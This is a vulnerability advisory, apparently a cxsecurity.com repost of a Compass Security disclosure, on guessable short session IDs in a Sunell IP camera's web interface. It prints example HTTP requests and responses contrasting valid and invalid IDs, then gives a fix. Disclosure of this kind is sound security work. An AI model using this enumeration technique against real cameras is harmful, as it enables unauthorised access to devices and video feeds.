Sunell IPCAMERA IPR54/14AKDN(II)/13 Session ID Enumeration

2017.05.28
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

############################################################# # # COMPASS SECURITY ADVISORY # https://www.compass-security.com/research/advisories/ # ############################################################# # # Product: Sunell IPCAMERA IPR54/14AKDN(II)/13 [1] # Vendor: Shenzhen Sunell Technology Corporation # CSNC ID: CSNC-2017-012 # Subject: Session ID Enumeration # Risk: High # Effect: Remotely exploitable # Author: Stephan Sekula <stephan.sekula@compass-security.com> # Date: 18.04.2017 # ############################################################# Introduction: ------------- Sunell's IPR54/14AKDN(II)/13 is an all-in-one Bullet camera designed for indoor and outdoor applications. Equipped with a 2MP sensor enabling viewing resolution of 1920*1080 at a smooth 30fps.The camera is capable of capturing high quality video at high resolution of up to 2MP even in low light environments. [1] Compass Security discovered a web application security flaw in the camera's web interface, which allows an attacker to enumerate valid session IDs. This allows an attacker to effectively guess a valid session and thus, get access to the web interface. Affected: --------- Vulnerable: * v2.0.0801.1002.1.1.136.0.0 Technical Description --------------------- The camera's web interface expects the user's session ID to be sent via an HTTP GET parameter (which can be cached). Furthermore, this ID is short. This fact, in combination with the server's different responses, depending on the ID's validity, allow an attacker to guess valid session IDs. Request (valid session ID): GET /asppage/common/IPC_DeviceInfo.asp?ID=56486 HTTP/1.1 Host: 192.168.0.120 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.120/asppage/common/deviceConfig.asp?ID=56486&lg=1&random=0.18069202216265423 Cookie: coobjMenuTree=Stream; csobjMenuTree=BaseStream Connection: close Response: HTTP/1.0 200 OK Server: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN Cache-Control: max-age=180 Content-type: text/html <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> [CUT] <textarea id="XMLData" name="XMLData" style="display:none"><MPLDCProtocol ProtocolType="1"> <MPLDCPDeviceConfig ReturnValue="0" ErrorDescription="TK_RefreshConfigInfoSuccess" OperateType="4"> <DeviceInfoEx User="" Password="" DeviceID="0BCF7B" IP="192.168.0.120" Port="30001" /> <DeviceConfigID ID="DeviceConfig_DeviceInfo" /> <ConfigItem ID="ID_UUIDFlag" Value="true" /> <ConfigItem ID="ID_UUID" Value="111fc9f24708E" /> [CUT] <ConfigItem ID="ID_DeviceModel" Value="IPR54/04AQDN/23" /> </MPLDCPDeviceConfig> </MPLDCProtocol> </textarea> [CUT] </body> </html> Request (invalid session ID): GET /asppage/common/IPC_DeviceInfo.asp?ID=56400 HTTP/1.1 Host: 192.168.0.120 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.120/asppage/common/deviceConfig.asp?ID=56486&lg=1&random=0.18069202216265423 Cookie: coobjMenuTree=Stream; csobjMenuTree=BaseStream Connection: close Response: HTTP/1.0 200 OK Server: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN Cache-Control: max-age=180 Content-type: text/html <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> [CUT] <textarea id="XMLData" name="XMLData" style="display:none"></textarea> [CUT] </head> <body onload="initWeb();" onresize="window.top.adjustBindDivXY();"> [CUT] <span class="leftSpan" id="TK_DeviceID"></span> <span class="rightSpan"><label id="ID_DeviceID" name="ID_DeviceID"></label></span> [CUT] <span class="leftSpan" id="TK_DeviceName"></span> <span class="rightSpan"> <a href="javascript:submitData();"><image src="../../image/apply.png" style="height:20px;cursor:pointer;"/></a> </span> <span class="rightSpan"><input type="text" id="ID_DeviceName" name="ID_DeviceName" maxlength="32"/></span> &nbsp;</div> [CUT] </body> </html> Workaround / Fix: ----------------- This issue can be fixed by issuing longer, random session IDs, which cannot be guessed. Timeline: --------- 2017-05-18: Public disclosure date 2017-04-18: Vendor notification (No response) 2017-03-22: Initial vendor notification (No response) 2017-03-22: Discovery by Stephan Sekula References: ----------- [1] http://www.sunellsecurity.com


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top